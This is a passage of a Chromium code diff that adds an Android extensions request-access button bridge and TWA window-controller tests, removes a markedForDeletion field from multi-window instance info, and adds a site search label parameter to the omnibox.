@@ -3931,8 +3931,8 @@
       "views/frame/system_menu_model_delegate.h",
       "views/frame/tab_modal_dialog_host.cc",
       "views/frame/tab_modal_dialog_host.h",
-      "views/frame/top_container_background.cc",
-      "views/frame/top_container_background.h",
+      "views/frame/themed_background.cc",
+      "views/frame/themed_background.h",
       "views/frame/top_container_loading_bar.cc",
       "views/frame/top_container_loading_bar.h",
       "views/frame/top_container_view.cc",
@@ -5456,6 +5456,7 @@
       "//chrome/browser/ai",
       "//chrome/browser/glic",
       "//chrome/browser/glic/fre",
+      "//chrome/browser/glic/public:features",
     ]
     allow_circular_includes_from += [ "//chrome/browser/glic/fre" ]
     if (!is_android) {
diff --git a/chrome/browser/ui/android/extensions/BUILD.gn b/chrome/browser/ui/android/extensions/BUILD.gn
index 668d688..6ae9065 100644
--- a/chrome/browser/ui/android/extensions/BUILD.gn
+++ b/chrome/browser/ui/android/extensions/BUILD.gn
@@ -52,6 +52,7 @@
       "java/src/org/chromium/chrome/browser/ui/extensions/ExtensionUtilBridge.java",
       "java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsMenuBridge.java",
       "java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsToolbarBridge.java",
+      "java/src/org/chromium/chrome/browser/ui/extensions/RequestAccessButtonParams.java",
     ]
     srcjar_deps += [
       ":jni_headers",
@@ -76,6 +77,7 @@
       "java/src/org/chromium/chrome/browser/ui/extensions/ExtensionUtilBridge.java",
       "java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsMenuBridge.java",
       "java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsToolbarBridge.java",
+      "java/src/org/chromium/chrome/browser/ui/extensions/RequestAccessButtonParams.java",
     ]
   }
 }
diff --git a/chrome/browser/ui/android/extensions/extensions_toolbar_android.cc b/chrome/browser/ui/android/extensions/extensions_toolbar_android.cc
index 203b3a1..f4af2614 100644
--- a/chrome/browser/ui/android/extensions/extensions_toolbar_android.cc
+++ b/chrome/browser/ui/android/extensions/extensions_toolbar_android.cc
@@ -6,6 +6,7 @@
 
 #include <cstdint>
 
+#include "base/android/jni_array.h"
 #include "base/android/jni_string.h"
 #include "base/notimplemented.h"
 #include "base/strings/utf_string_conversions.h"
@@ -20,10 +21,13 @@
 // Must come after all headers that specialize FromJniType() / ToJniType().
 #include "chrome/browser/ui/android/extensions/jni_headers/ExtensionAction_jni.h"
 #include "chrome/browser/ui/android/extensions/jni_headers/ExtensionsToolbarBridge_jni.h"
+#include "chrome/browser/ui/android/extensions/jni_headers/RequestAccessButtonParams_jni.h"
 
 using base::android::AttachCurrentThread;
+using base::android::ConvertUTF16ToJavaString;
 using base::android::JavaRef;
 using base::android::ScopedJavaLocalRef;
+using base::android::ToJavaArrayOfStrings;
 using content::WebContents;
 
 namespace extensions {
@@ -62,6 +66,22 @@
                                                        action_id, this));
 }
 
+base::android::ScopedJavaLocalRef<jobject>
+ExtensionsToolbarAndroid::GetRequestAccessButtonParams(
+    JNIEnv* env,
+    content::WebContents* web_contents) {
+  ExtensionsToolbarViewModel::RequestAccessButtonParams params =
+      toolbar_view_model_->GetRequestAccessButtonParams(web_contents);
+  return Java_RequestAccessButtonParams_Constructor(env, params.extension_ids,
+                                                    params.tooltip_text);
+}
+
+void ExtensionsToolbarAndroid::OnRequestAccessButtonParamsChanged(
+    content::WebContents* web_contents) {
+  Java_ExtensionsToolbarBridge_onRequestAccessButtonParamsChanged(
+      AttachCurrentThread(), java_object_);
+}
+
 void ExtensionsToolbarAndroid::HideActivePopup() {
   // TODO(crbug.com/461981075)
   NOTIMPLEMENTED();
diff --git a/chrome/browser/ui/android/extensions/extensions_toolbar_android.h b/chrome/browser/ui/android/extensions/extensions_toolbar_android.h
index 73f49d0..05cf2f4a 100644
--- a/chrome/browser/ui/android/extensions/extensions_toolbar_android.h
+++ b/chrome/browser/ui/android/extensions/extensions_toolbar_android.h
@@ -48,9 +48,14 @@
   void OnActionUpdated(const ToolbarActionsModel::ActionId& action_id) override;
   void OnPinnedActionsChanged() override;
   void OnActiveWebContentsChanged() override;
+  void OnRequestAccessButtonParamsChanged(
+      content::WebContents* web_contents) override;
 
   // JNI implementations.
   void Destroy(JNIEnv* env);
+  base::android::ScopedJavaLocalRef<jobject> GetRequestAccessButtonParams(
+      JNIEnv* env,
+      content::WebContents* web_contents);
   base::android::ScopedJavaLocalRef<jobject> GetAction(
       JNIEnv* env,
       const ToolbarActionsModel::ActionId& action_id);
diff --git a/chrome/browser/ui/android/extensions/java/res/layout/extension_toolbar_container.xml b/chrome/browser/ui/android/extensions/java/res/layout/extension_toolbar_container.xml
index 609484c..32ec27d 100644
--- a/chrome/browser/ui/android/extensions/java/res/layout/extension_toolbar_container.xml
+++ b/chrome/browser/ui/android/extensions/java/res/layout/extension_toolbar_container.xml
@@ -20,6 +20,13 @@
         android:layout_height="match_parent"
         android:layout_gravity="end"/>
 
+    <org.chromium.ui.widget.ButtonCompat
+        android:id="@+id/extensions_request_access_button"
+        style="@style/ToolbarHoverableButton"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:visibility="gone" />
+
     <org.chromium.ui.listmenu.ListMenuButton
         android:id="@+id/extensions_menu_button"
         style="@style/ToolbarHoverableButton"
diff --git a/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsToolbarBridge.java b/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsToolbarBridge.java
index 66336ec..08ed3054 100644
--- a/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsToolbarBridge.java
+++ b/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/ExtensionsToolbarBridge.java
@@ -99,6 +99,15 @@
                 .movePinnedAction(mNativeExtensionsToolbarAndroid, actionId, targetIndex);
     }
 
+    public RequestAccessButtonParams getRequestAccessButtonParams(WebContents webContents) {
+        assert mNativeExtensionsToolbarAndroid != 0;
+        RequestAccessButtonParams params =
+                ExtensionsToolbarBridgeJni.get()
+                        .getRequestAccessButtonParams(mNativeExtensionsToolbarAndroid, webContents);
+        assert params != null;
+        return params;
+    }
+
     @CalledByNative
     public void triggerPopup(@JniType("std::string") String actionId, long nativeHostPtr) {
         // {@link mDelegate} should be set in {@code ExtensionActionListMediator}'s constructor.
@@ -108,6 +117,13 @@
     }
 
     @CalledByNative
+    public void onRequestAccessButtonParamsChanged() {
+        for (Observer observer : mObservers) {
+            observer.onRequestAccessButtonParamsChanged();
+        }
+    }
+
+    @CalledByNative
     public void onActionsInitialized() {
         for (Observer observer : mObservers) {
             observer.onActionsInitialized();
@@ -151,22 +167,25 @@
 
     public interface Observer {
         // Called after all actions are added to the model.
-        void onActionsInitialized();
+        default void onActionsInitialized() {}
 
         // Called when an action is added to the model.
-        void onActionAdded(String actionId);
+        default void onActionAdded(String actionId) {}
 
         // Called when an action is removed from the model.
-        void onActionRemoved(String actionId);
+        default void onActionRemoved(String actionId) {}
 
         // Called when an action in the model is updated.
-        void onActionUpdated(String actionId);
+        default void onActionUpdated(String actionId) {}
 
         // Called when the pinned actions in the model are changed.
-        void onPinnedActionsChanged();
+        default void onPinnedActionsChanged() {}
 
         // Called when the active web contents changes due to e.g. navigation or tab change.
-        void onActiveWebContentsChanged();
+        default void onActiveWebContentsChanged() {}
+
+        // Called when the request access button parameters have changed.
+        default void onRequestAccessButtonParamsChanged() {}
     }
 
     public interface Delegate {
@@ -206,5 +225,9 @@
                 long nativeExtensionsToolbarAndroid,
                 @JniType("std::string") String actionId,
                 int targetIndex);
+
+        RequestAccessButtonParams getRequestAccessButtonParams(
+                long nativeExtensionsToolbarAndroid,
+                @JniType("content::WebContents*") WebContents webContents);
     }
 }
diff --git a/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/RequestAccessButtonParams.java b/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/RequestAccessButtonParams.java
new file mode 100644
index 0000000..81666f9b
--- /dev/null
+++ b/chrome/browser/ui/android/extensions/java/src/org/chromium/chrome/browser/ui/extensions/RequestAccessButtonParams.java
@@ -0,0 +1,35 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.ui.extensions;
+
+import org.jni_zero.CalledByNative;
+import org.jni_zero.JNINamespace;
+import org.jni_zero.JniType;
+
+import org.chromium.build.annotations.NullMarked;
+
+/** Holds parameters for the request access button. */
+@NullMarked
+@JNINamespace("extensions")
+public class RequestAccessButtonParams {
+    private final String[] mExtensionIds;
+    private final String mTooltipText;
+
+    @CalledByNative
+    public RequestAccessButtonParams(
+            @JniType("std::vector<std::string>") String[] extensionIds,
+            @JniType("std::u16string") String tooltipText) {
+        mExtensionIds = extensionIds;
+        mTooltipText = tooltipText;
+    }
+
+    public String[] getExtensionIds() {
+        return mExtensionIds;
+    }
+
+    public String getTooltipText() {
+        return mTooltipText;
+    }
+}
diff --git a/chrome/browser/ui/android/extensions/windowing/internal/BUILD.gn b/chrome/browser/ui/android/extensions/windowing/internal/BUILD.gn
index c1bc342..eae35b38 100644
--- a/chrome/browser/ui/android/extensions/windowing/internal/BUILD.gn
+++ b/chrome/browser/ui/android/extensions/windowing/internal/BUILD.gn
@@ -86,6 +86,7 @@
     ":java",
     "//base:base_java_test_support",
     "//chrome/android:chrome_java",
+    "//chrome/android:chrome_test_java",
     "//chrome/android/javatests:chrome_test_java_helper",
     "//chrome/browser/flags:java",
     "//chrome/browser/ui/android/extensions/windowing:java",
diff --git a/chrome/browser/ui/android/extensions/windowing/internal/java/src/org/chromium/chrome/browser/ui/extensions/windowing/ExtensionWindowControllerBridgeIntegrationTest.java b/chrome/browser/ui/android/extensions/windowing/internal/java/src/org/chromium/chrome/browser/ui/extensions/windowing/ExtensionWindowControllerBridgeIntegrationTest.java
index 383690c..dcb78b5 100644
--- a/chrome/browser/ui/android/extensions/windowing/internal/java/src/org/chromium/chrome/browser/ui/extensions/windowing/ExtensionWindowControllerBridgeIntegrationTest.java
+++ b/chrome/browser/ui/android/extensions/windowing/internal/java/src/org/chromium/chrome/browser/ui/extensions/windowing/ExtensionWindowControllerBridgeIntegrationTest.java
@@ -30,8 +30,10 @@
 import org.chromium.build.annotations.Nullable;
 import org.chromium.chrome.browser.browserservices.intents.BrowserServicesIntentDataProvider.CustomTabsUiType;
 import org.chromium.chrome.browser.customtabs.CustomTabActivityTestRule;
+import org.chromium.chrome.browser.customtabs.CustomTabActivityTypeTestUtils;
 import org.chromium.chrome.browser.customtabs.CustomTabIntentDataProvider;
 import org.chromium.chrome.browser.customtabs.CustomTabsIntentTestUtils;
+import org.chromium.chrome.browser.flags.ActivityType;
 import org.chromium.chrome.browser.flags.ChromeFeatureList;
 import org.chromium.chrome.browser.flags.ChromeSwitches;
 import org.chromium.chrome.browser.profiles.Profile;
@@ -132,6 +134,21 @@
 
     @Test
     @MediumTest
+    public void startTwa_addsExtensionWindowControllerBridgeToChromeAndroidTask() throws Exception {
+        // Act.
+        CustomTabActivityTypeTestUtils.launchActivity(
+                ActivityType.TRUSTED_WEB_ACTIVITY, mCustomTabActivityTestRule, "about:blank");
+
+        // Assert.
+        int taskId = mCustomTabActivityTestRule.getActivity().getTaskId();
+        var extensionWindowControllerBridge =
+                getExtensionWindowControllerBridge(
+                        taskId, mCustomTabActivityTestRule.getActivityTab().getProfile());
+        assertNotNull(extensionWindowControllerBridge);
+    }
+
+    @Test
+    @MediumTest
     @Restriction(DeviceFormFactor.TABLET_OR_DESKTOP /* Test needs "new window" in app menu. */)
     public void startChromeTabbedActivity_openNewWindow_notifyExtensionInternalsOfWindowCreation() {
         // Arrange:
@@ -277,6 +294,41 @@
 
     @Test
     @MediumTest
+    public void startTwa_notifyExtensionInternalsOfWindowCreation() throws Exception {
+        // Arrange:
+        // (1) Launch ChromeTabbedActivity. We need this to initialize native
+        // libraries, which is a prerequisite for Step (2).
+        // (2) Add a native WindowControllerListObserverForTesting to capture extension internal
+        // events.
+        mFreshCtaTransitTestRule.startOnBlankPage();
+        ExtensionWindowControllerBridgeImpl.initializeWindowControllerListObserverForTesting();
+
+        // Act: Start TWA.
+        CustomTabActivityTypeTestUtils.launchActivity(
+                ActivityType.TRUSTED_WEB_ACTIVITY, mCustomTabActivityTestRule, "about:blank");
+
+        int twaTaskId = mCustomTabActivityTestRule.getActivity().getTaskId();
+        var extensionWindowControllerBridge =
+                getExtensionWindowControllerBridge(
+                        twaTaskId, mCustomTabActivityTestRule.getActivityTab().getProfile());
+        assertNotNull(extensionWindowControllerBridge);
+        var extensionWindowId = extensionWindowControllerBridge.getExtensionWindowIdForTesting();
+
+        // Assert.
+        var extensionInternalEvents =
+                ExtensionWindowControllerBridgeImpl.getExtensionInternalEventsForTesting()
+                        .get(extensionWindowId);
+        assertNotNull(extensionInternalEvents);
+        assertEquals(
+                ExtensionInternalWindowEventForTesting.CREATED,
+                (int) extensionInternalEvents.get(0));
+
+        // Cleanup.
+        mCustomTabActivityTestRule.getActivity().finish();
+    }
+
+    @Test
+    @MediumTest
     @Restriction(DeviceFormFactor.TABLET_OR_DESKTOP /* Test needs "new window" in app menu. */)
     public void startChromeTabbedActivity_triggerTaskFocusChange_notifyExtensionWindowController() {
         // Arrange:
@@ -418,6 +470,26 @@
 
     @Test
     @MediumTest
+    public void destroyTwa_destroysExtensionWindowControllerBridge() throws Exception {
+        // Arrange.
+        CustomTabActivityTypeTestUtils.launchActivity(
+                ActivityType.TRUSTED_WEB_ACTIVITY, mCustomTabActivityTestRule, "about:blank");
+        int taskId = mCustomTabActivityTestRule.getActivity().getTaskId();
+        var extensionWindowControllerBridge =
+                getExtensionWindowControllerBridge(
+                        taskId, mCustomTabActivityTestRule.getActivityTab().getProfile());
+        assertNotNull(extensionWindowControllerBridge);
+        assertNotEquals(0, extensionWindowControllerBridge.getNativePtrForTesting());
+
+        // Act.
+        mCustomTabActivityTestRule.finishActivity();
+
+        // Assert.
+        assertEquals(0, extensionWindowControllerBridge.getNativePtrForTesting());
+    }
+
+    @Test
+    @MediumTest
     public void destroyChromeTabbedActivity_notifyExtensionInternalsOfWindowDestruction() {
         // Arrange:
         // (1) Launch ChromeTabbedActivity (the first window).
@@ -506,6 +578,37 @@
                 (int) extensionInternalEvents.get(extensionInternalEvents.size() - 1));
     }
 
+    @Test
+    @MediumTest
+    public void destroyTwa_notifyExtensionInternalsOfWindowDestruction() throws Exception {
+        // Arrange:
+        // (1) Start TWA.
+        // (2) Add a native WindowControllerListObserverForTesting to capture extension internal
+        // events.
+        CustomTabActivityTypeTestUtils.launchActivity(
+                ActivityType.TRUSTED_WEB_ACTIVITY, mCustomTabActivityTestRule, "about:blank");
+
+        int taskId = mCustomTabActivityTestRule.getActivity().getTaskId();
+        var extensionWindowControllerBridge =
+                getExtensionWindowControllerBridge(
+                        taskId, mCustomTabActivityTestRule.getActivityTab().getProfile());
+        assertNotNull(extensionWindowControllerBridge);
+        var extensionWindowId = extensionWindowControllerBridge.getExtensionWindowIdForTesting();
+        ExtensionWindowControllerBridgeImpl.initializeWindowControllerListObserverForTesting();
+
+        // Act.
+        mCustomTabActivityTestRule.finishActivity();
+
+        // Assert.
+        var extensionInternalEvents =
+                ExtensionWindowControllerBridgeImpl.getExtensionInternalEventsForTesting()
+                        .get(extensionWindowId);
+        assertNotNull(extensionInternalEvents);
+        assertEquals(
+                ExtensionInternalWindowEventForTesting.REMOVED,
+                (int) extensionInternalEvents.get(extensionInternalEvents.size() - 1));
+    }
+
     private Intent createCustomTabIntent(@CustomTabsUiType int customTabsUiType) {
         var intent =
                 CustomTabsIntentTestUtils.createMinimalCustomTabIntent(
diff --git a/chrome/browser/ui/android/favicon/java/src/org/chromium/chrome/browser/ui/favicon/FaviconUtils.java b/chrome/browser/ui/android/favicon/java/src/org/chromium/chrome/browser/ui/favicon/FaviconUtils.java
index 52cc810..cf0713c 100644
--- a/chrome/browser/ui/android/favicon/java/src/org/chromium/chrome/browser/ui/favicon/FaviconUtils.java
+++ b/chrome/browser/ui/android/favicon/java/src/org/chromium/chrome/browser/ui/favicon/FaviconUtils.java
@@ -21,7 +21,6 @@
 import org.chromium.build.annotations.NullUnmarked;
 import org.chromium.build.annotations.Nullable;
 import org.chromium.components.browser_ui.widget.RoundedIconGenerator;
-import org.chromium.ui.base.UiAndroidFeatureList;
 import org.chromium.ui.base.ViewUtils;
 import org.chromium.url.GURL;
 
@@ -37,10 +36,6 @@
      */
     @Px
     public static int getDefaultFaviconSize(Context context) {
-        if (!UiAndroidFeatureList.sAndroidHistoryPaneFavicons.isEnabled()) {
-            // This returns a pixel size. This is legacy behavior.
-            return context.getResources().getDimensionPixelSize(R.dimen.default_favicon_min_size);
-        }
         return context.getResources().getDimensionPixelSize(R.dimen.default_favicon_size);
     }
 
diff --git a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceInfo.java b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceInfo.java
index 769e404..5e80686 100644
--- a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceInfo.java
+++ b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceInfo.java
@@ -71,12 +71,6 @@
      */
     public final long closureTime;
 
-    /**
-     * Whether this instance is marked for permanent deletion. This is relevant only for a
-     * non-active instance.
-     */
-    public final boolean markedForDeletion;
-
     public InstanceInfo(
             int instanceId,
             int taskId,
@@ -88,8 +82,7 @@
             int incognitoTabCount,
             boolean isIncognitoSelected,
             long lastAccessedTime,
-            long closureTime,
-            boolean markedForDeletion) {
+            long closureTime) {
         this.instanceId = instanceId;
         this.taskId = taskId;
         this.type = type;
@@ -101,7 +94,6 @@
         this.isIncognitoSelected = isIncognitoSelected;
         this.lastAccessedTime = lastAccessedTime;
         this.closureTime = closureTime;
-        this.markedForDeletion = markedForDeletion;
     }
 
     @Override
diff --git a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinator.java b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinator.java
index 58aab45a..b4e679ba 100644
--- a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinator.java
+++ b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinator.java
@@ -391,9 +391,6 @@
         InstanceInfo currentInstance = null;
         for (int i = 0; i < items.size(); ++i) {
             InstanceInfo instanceInfo = items.get(i);
-            // Do not show instances that are closed by user.
-            if (instanceInfo.markedForDeletion) continue;
-
             // Add the current instance to the front of the list after it is sorted by timestamp.
             if (instanceInfo.type == InstanceInfo.Type.CURRENT) {
                 currentInstance = instanceInfo;
@@ -872,8 +869,7 @@
                                         item.incognitoTabCount,
                                         item.isIncognitoSelected,
                                         item.lastAccessedTime,
-                                        item.closureTime,
-                                        item.markedForDeletion);
+                                        item.closureTime);
                         newTitle = mUiUtils.getItemTitle(updatedItem);
                     }
 
diff --git a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinatorTest.java b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinatorTest.java
index 871434d..77e8e27 100644
--- a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinatorTest.java
+++ b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/InstanceSwitcherCoordinatorTest.java
@@ -148,8 +148,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(2),
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 1,
                             /* taskId= */ 58,
@@ -161,8 +160,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(1),
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 2,
                             /* taskId= */ 59,
@@ -174,8 +172,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(0),
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 3,
                             /* taskId= */ -1,
@@ -187,8 +184,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(1),
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 4,
                             /* taskId= */ -1,
@@ -200,8 +196,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(3),
-                            /* closureTime= */ getDaysAgoMillis(2),
-                            /* markedForDeletion= */ false)
+                            /* closureTime= */ getDaysAgoMillis(2))
                 };
 
         ThreadUtils.runOnUiThreadBlocking(
@@ -987,8 +982,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ 3,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 1,
                             /* taskId= */ 58,
@@ -1000,8 +994,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ 2,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 2,
                             /* taskId= */ 59,
@@ -1013,8 +1006,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ 1,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false)
+                            /* closureTime= */ 0)
                 };
         final CallbackHelper closeCallbackHelper = new CallbackHelper();
         doAnswer(
@@ -1354,8 +1346,7 @@
                             /* incognitoTabCount= */ 1,
                             /* isIncognitoSelected= */ true,
                             /* lastAccessedTime= */ 0,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false)
+                            /* closureTime= */ 0)
                 };
         final CallbackHelper renameCallbackHelper = new CallbackHelper();
         final int renameCallbackCount = renameCallbackHelper.getCallCount();
@@ -2029,8 +2020,7 @@
                         /* incognitoTabCount= */ 1,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ getDaysAgoMillis(0),
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false);
+                        /* closureTime= */ 0);
 
         // Create other active instances.
         for (int i = 1; i < numActiveInstances; i++) {
@@ -2046,8 +2036,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(i),
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false);
+                            /* closureTime= */ 0);
         }
 
         // Create inactive instances.
@@ -2064,8 +2053,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ getDaysAgoMillis(i),
-                            /* closureTime= */ 3,
-                            /* markedForDeletion= */ false);
+                            /* closureTime= */ 3);
         }
 
         return instances;
diff --git a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManager.java b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManager.java
index 2546f3cc..d1b2967 100644
--- a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManager.java
+++ b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManager.java
@@ -334,14 +334,23 @@
     }
 
     /**
-     * @return List of {@link InstanceInfo} structs with {@link PersistedInstanceType} {@param type}
-     *     for an activity that can be switched to, or newly launched.
+     * @return A list of {@link InstanceInfo} structs for the specified {@link
+     *     PersistedInstanceType}. This excludes unusable instances that are marked for deletion.
      */
     public List<InstanceInfo> getInstanceInfo(@PersistedInstanceType int type) {
         return Collections.emptyList();
     }
 
     /**
+     * @return A list of {@link InstanceInfo} structs for inactive instances, including currently
+     *     unusable instances that are marked for deletion. This excludes {@link
+     *     PersistedInstanceType#OFF_THE_RECORD} type instances.
+     */
+    public List<InstanceInfo> getRecentlyClosedInstances() {
+        return Collections.emptyList();
+    }
+
+    /**
      * Assigned an ID for the current activity instance.
      *
      * @param windowId Instance ID explicitly given for assignment.
diff --git a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/TargetSelectorCoordinatorTest.java b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/TargetSelectorCoordinatorTest.java
index 03f222c..90a19ce 100644
--- a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/TargetSelectorCoordinatorTest.java
+++ b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/TargetSelectorCoordinatorTest.java
@@ -89,8 +89,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ 0,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 1,
                             /* taskId= */ 58,
@@ -102,8 +101,7 @@
                             /* incognitoTabCount= */ 0,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ 0,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false),
+                            /* closureTime= */ 0),
                     new InstanceInfo(
                             /* instanceId= */ 2,
                             /* taskId= */ 59,
@@ -115,8 +113,7 @@
                             /* incognitoTabCount= */ 1,
                             /* isIncognitoSelected= */ false,
                             /* lastAccessedTime= */ 0,
-                            /* closureTime= */ 0,
-                            /* markedForDeletion= */ false)
+                            /* closureTime= */ 0)
                 };
         final CallbackHelper itemClickCallbackHelper = new CallbackHelper();
         final int itemClickCount = itemClickCallbackHelper.getCallCount();
diff --git a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/UiUtilsUnitTest.java b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/UiUtilsUnitTest.java
index 2216233..3f760478 100644
--- a/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/UiUtilsUnitTest.java
+++ b/chrome/browser/ui/android/multiwindow/java/src/org/chromium/chrome/browser/multiwindow/UiUtilsUnitTest.java
@@ -472,8 +472,7 @@
                 incognitoTabCount,
                 isIncognito,
                 /* lastAccessedTime= */ 0,
-                /* closureTime= */ 0,
-                /* markedForDeletion= */ false);
+                /* closureTime= */ 0);
     }
 
     private InstanceInfo mockInstance(
@@ -493,8 +492,7 @@
                 incognitoTabCount,
                 isIncognito,
                 /* lastAccessedTime= */ 0,
-                /* closureTime= */ 0,
-                /* markedForDeletion= */ false);
+                /* closureTime= */ 0);
     }
 
     private InstanceInfo mockInstance(int type) {
@@ -509,8 +507,7 @@
                 /* incognitoTabCount= */ 1,
                 /* isIncognitoSelected= */ true,
                 /* lastAccessedTime= */ 0,
-                /* closureTime= */ 0,
-                /* markedForDeletion= */ false);
+                /* closureTime= */ 0);
     }
 
     private InstanceInfo mockInstanceBeforeLoadingTab(int type) {
@@ -525,7 +522,6 @@
                 /* incognitoTabCount= */ 0,
                 /* isIncognitoSelected= */ false,
                 /* lastAccessedTime= */ 0,
-                /* closureTime= */ 0,
-                /* markedForDeletion= */ false);
+                /* closureTime= */ 0);
     }
 }
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditText.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditText.java
index 11fe6d9d..e98a166 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditText.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditText.java
@@ -235,15 +235,18 @@
      * @param inlineAutocompleteText The suggested autocompletion for the user's text.
      * @param additionalText This string is displayed adjacent to the omnibox if this match is the
      *     default. Will usually be URL when autocompleting a title, and empty otherwise.
+     * @param siteSearchLabel The site search label to be shown.
      */
     public void setAutocompleteText(
             CharSequence userText,
             @Nullable CharSequence inlineAutocompleteText,
-            @Nullable String additionalText) {
+            @Nullable String additionalText,
+            @Nullable String siteSearchLabel) {
         boolean emptyAutocomplete = TextUtils.isEmpty(inlineAutocompleteText);
         if (!emptyAutocomplete) mDisableTextScrollingFromAutocomplete = true;
         if (mModel != null) {
-            mModel.setAutocompleteText(userText, inlineAutocompleteText, additionalText);
+            mModel.setAutocompleteText(
+                    userText, inlineAutocompleteText, additionalText, siteSearchLabel);
         }
     }
 
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextModelBase.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/AutocompleteEditTextModelBase.java
index 972e18f..f4ff91d 100644
